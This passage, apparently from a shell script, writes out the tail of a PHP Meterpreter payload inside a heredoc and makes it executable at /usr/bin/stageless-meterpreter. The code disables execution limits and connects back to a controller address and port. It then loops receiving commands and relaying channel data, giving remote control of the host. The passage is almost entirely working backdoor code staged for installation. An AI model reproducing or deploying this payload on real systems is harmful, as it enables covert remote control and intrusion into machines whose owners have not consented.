(\$e) { foreach (\$e as \$resource) { switch (get_rtype(\$resource)) { case 'socket': \$sockets_e[] = \$resource; break; case 'stream': \$streams_e[] = \$resource; break; default: my_print("Unknown resource type"); break; } } } \$n_sockets = count(\$sockets_r) + count(\$sockets_w) + count(\$sockets_e); \$n_streams = count(\$streams_r) + count(\$streams_w) + count(\$streams_e); \$r = array(); \$w = array(); \$e = array(); if (count(\$sockets_r) == 0) { \$sockets_r = null; } if (count(\$sockets_w) == 0) { \$sockets_w = null; } if (count(\$sockets_e) == 0) { \$sockets_e = null; } if (count(\$streams_r) == 0) { \$streams_r = null; } if (count(\$streams_w) == 0) { \$streams_w = null; } if (count(\$streams_e) == 0) { \$streams_e = null; } \$count = 0; if (\$n_sockets > 0) { \$res = socket_select(\$sockets_r, \$sockets_w, \$sockets_e, \$tv_sec, \$tv_usec); if (false === \$res) { return false; } if (is_array(\$r) && is_array(\$sockets_r)) { \$r = array_merge(\$r, \$sockets_r); } if (is_array(\$w) && is_array(\$sockets_w)) { \$w = array_merge(\$w, \$sockets_w); } if (is_array(\$e) && is_array(\$sockets_e)) { \$e = array_merge(\$e, \$sockets_e); } \$count += \$res; } if (\$n_streams > 0) { \$res = stream_select(\$streams_r, \$streams_w, \$streams_e, \$tv_sec, \$tv_usec); if (false === \$res) { return false; } if (is_array(\$r) && is_array(\$streams_r)) { \$r = array_merge(\$r, \$streams_r); } if (is_array(\$w) && is_array(\$streams_w)) { \$w = array_merge(\$w, \$streams_w); } if (is_array(\$e) && is_array(\$streams_e)) { \$e = array_merge(\$e, \$streams_e); } \$count += \$res; } return \$count; } function add_reader(\$resource) { global \$readers; if (is_resource(\$resource) && !in_array(\$resource, \$readers)) { \$readers[] = \$resource; } } function remove_reader(\$resource) { global \$readers; if (in_array(\$resource, \$readers)) { foreach (\$readers as \$key => \$r) { if (\$r == \$resource) { unset(\$readers[\$key]); } } } } ob_implicit_flush(); @ignore_user_abort(true); @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); if (!isset(\$GLOBALS['msgsock'])) { my_print("Don't have a msgsock, trying to connect(\$ipaddr, \$port)"); \$msgsock = connect(\$ipaddr, \$port); if (!\$msgsock) { die(); } } else { \$msgsock = \$GLOBALS['msgsock']; \$msgsock_type = \$GLOBALS['msgsock_type']; switch (\$msgsock_type) { case 'socket': register_socket(\$msgsock); break; case 'stream': default: register_stream(\$msgsock); } } add_reader(\$msgsock); \$r = \$GLOBALS['readers']; \$w = NULL; \$e = NULL; \$t = 1; while (false !== (\$cnt = select(\$r, \$w, \$e, \$t))) { \$read_failed = false; for (\$i = 0; \$i < \$cnt; \$i++) { \$ready = \$r[\$i]; if (\$ready == \$msgsock) { \$request = read(\$msgsock, 8); if (false == \$request) { break 2; } \$a = unpack("Nlen/Ntype", \$request); \$len = \$a['len']; \$ptype = \$a['type']; while (strlen(\$request) < \$a['len']) { \$request .= read(\$msgsock, \$len - strlen(\$request)); } \$response = create_response(\$request); write(\$msgsock, \$response); } else { \$data = read(\$ready); if (false === \$data) { handle_dead_resource_channel(\$ready); } elseif (strlen(\$data) > 0) { my_print(sprintf("Read returned %s bytes", strlen(\$data))); \$request = handle_resource_read_channel(\$ready, \$data); if (\$request) { write(\$msgsock, \$request); } } } } \$r = \$GLOBALS['readers']; } my_print("Finished"); my_print("--------------------"); close(\$msgsock); EOF chmod +x /usr/bin/stageless-meterpreter }